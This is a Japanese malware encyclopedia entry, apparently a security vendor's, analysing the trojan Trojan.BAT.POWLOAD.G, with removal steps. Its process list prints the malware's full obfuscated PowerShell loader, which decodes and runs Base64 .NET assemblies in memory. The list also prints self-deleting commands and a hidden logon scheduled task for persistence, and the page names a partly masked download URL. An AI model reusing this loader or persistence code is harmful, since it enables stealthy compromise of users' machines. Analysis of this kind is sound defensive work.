Trojan.BAT.POWLOAD.G

2024年8月2日

解析者: John Rainier Navato

プラットフォーム:

Windows

危険度:

ダメージ度:

感染力:

感染確認数:

情報漏えい:

マルウェアタイプ: トロイの木馬型
破壊活動の有無: なし
暗号化: なし
感染報告の有無: はい

概要

感染経路インターネットからのダウンロード, 他のマルウェアからの作成

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

詳細

ファイルサイズ 1,152,527 bytes

タイプ BAT

メモリ常駐はい

発見日 2024年7月23日

ペイロード URLまたはIPアドレスに接続, ファイルの作成

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

{Malware File Path}\{Malware File Name}.bat.exe → deleted afterwards
%Application Data%\startup_str_370.vbs
%Application Data%\startup_str_370.bat
%Application Data%\startup_str_370.bat.exe → file attribute set to hidden

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

マルウェアは、以下のプロセスを追加します。

"{Malware File Name}.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('{Malware File Path}\{Malware File Name}.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
"%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
%System%\cmd.exe" /C ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe" & exit
ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe"
"%System%\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_370_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%Application Data%\startup_str_370.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest –Force
"%System%\WScript.exe" "%Application Data%\startup_str_370.vbs"
cmd /c ""%Application Data%\startup_str_370.bat" "
"%Application Data%\startup_str_370.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('%Application Data%\startup_str_370.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
"%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3016);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
"%System%\cmd.exe" /C ATTRIB +H "%Application Data%\startup_str_370.bat.exe" & exit
ATTRIB +H "%Application Data%\startup_str_370.bat.exe"

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

http://{BLOCKED}.{BLOCKED}.{BLOCKED}.238/plugin3.dll

ただし、情報公開日現在、このWebサイトにはアクセスできません。

以下のスケジュールされたタスクを追加します：

- Name: RuntimeBroker_startup_370_str
- Trigger: At user logon
- Action: %Application Data%\startup_str_370.vbs

<補足>
インストール

マルウェアは、以下のファイルを作成します。

{マルウェアのファイルパス}\{マルウェアのファイル名}.bat.exe → 後に削除される
%Application Data%\startup_str_370.vbs
%Application Data%\startup_str_370.bat
%Application Data%\startup_str_370.bat.exe → ファイル属性が隠しファイル属性に設定されている

その他

以下のスケジュールされたタスクを追加します：

- 名前: RuntimeBroker_startup_370_str
- トリガ: ユーザのログオン時
- アクション: %Application Data%\startup_str_370.vbs

対応方法

対応検索エンジン: 9.800

初回 VSAPI パターンバージョン 19.502.05

初回 VSAPI パターンリリース日 2024年8月1日

VSAPI OPR パターンバージョン 19.503.00

VSAPI OPR パターンリリース日 2024年8月2日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

セーフモードでの起動：

• Windows 2000 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows XP の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows Server 2003 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「Windows 拡張オプションメニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows Vista、Windows 7 および Windows Server 2008 の場合：

コンピュータを起動させます。
「Windows **** を起動しています・・・」のメッセージが表示されている間に［F8］を押します。
「詳細ブートオプション」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows 8、8.1 および Server 2012の場合：

画面の右上隅へマウスポインタを移動し、[チャーム]バーを表示します。
マウスで、[設定]－[PC設定の変更]を選択します。
左側のパネルで、[全般]を選択します。
右側のパネルで、[PCの起動をカスタマイズする]が表示されるまで下にスクロールし、[今すぐ再起動]をクリック。コンピュータが再起動するまで待ちます。
[オプションの選択]メニューで、[トラブルシューティング]－[詳細オプション]－[スタートアップ設定]－[再起動]をクリックします。
[スタートアップ設定]メニューで、[4]キーを押し、「4）セーフモードを有効にする」を選択します。

• Windows 10 の場合：

キーボードの「Windowsロゴ」キーおよび「（アルファベットの）i」キーを押して「設定」を開きます。これで開かない場合は「スタート」ボタンをクリックして「設定」を選択します。
「更新とセキュリティ」→「回復」を選択します。
「詳細起動」下にある「今すぐ再起動」を選択します。
再起動後、「オプションの選択」画面で「トラブルシューティング」→「詳細オプション」→「スタートアップ設定」→「再起動」を選択します。
再起動後、「オプションを選択するには、番号を押してください」が表示されます。「4)」を選択するか「F4」キーを押して、セーフモードで起動します。

手順 4

セーフモード時のスケジュールタスクの削除方法

セーフモードのまま、以下の{タスク名}-{実行するタスク}のリストを使用し、以下のステップで確認する必要があります。
- Task Name: RuntimeBroker_startup_370_str
Windows 7 および Server 2008 (R2) をご使用の場合は、[スタート] > [コンピューター] をクリックします。
- Windows 8、8.1、10、Server 2012をご使用の場合は、画面左下で右クリックし、「ファイルエクスプローラ」をクリックします。
PCの検索欄に、次のように入力します。
- System%\Tasks\{タスク名}
ファイルを選択し、SHIFT+DELETEキーを押して削除します。
レジストリエディタを開き、以下を実行してください。
- Windows 7およびServer 2008（R2）をご使用の場合は、［スタート］ボタンをクリックし、［検索］入力フィールドに「regedit」と入力し、Enterキーを押します。
- Windows 8、8.1、10、およびServer 2012（R2）をご使用の場合は、画面の左下隅を右クリックし、［実行］をクリックして、テキストボックスに「regedit」と入力します。
レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
作成されたエントリを探し、レジストリ値のデータをメモする。
- ID={タスクデータ}
データを記録した後、レジストリキーを削除します。
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
左側のパネルで、手順6で配置したTask Dataと同じ名前のレジストリキーを探して削除します。
- ={タスクデータ}
レジストリエディタを閉じます。

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]

コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。

{Malware File Path}\{Malware File Name}.bat.exe
%Application Data%\startup_str_370.vbs
%Application Data%\startup_str_370.bat
%Application Data%\startup_str_370.bat.exe

手順 6

コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「Trojan.BAT.POWLOAD.G」と検出したファイルの検索を実行してください。検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

ご利用はいかがでしたか？　アンケートにご協力ください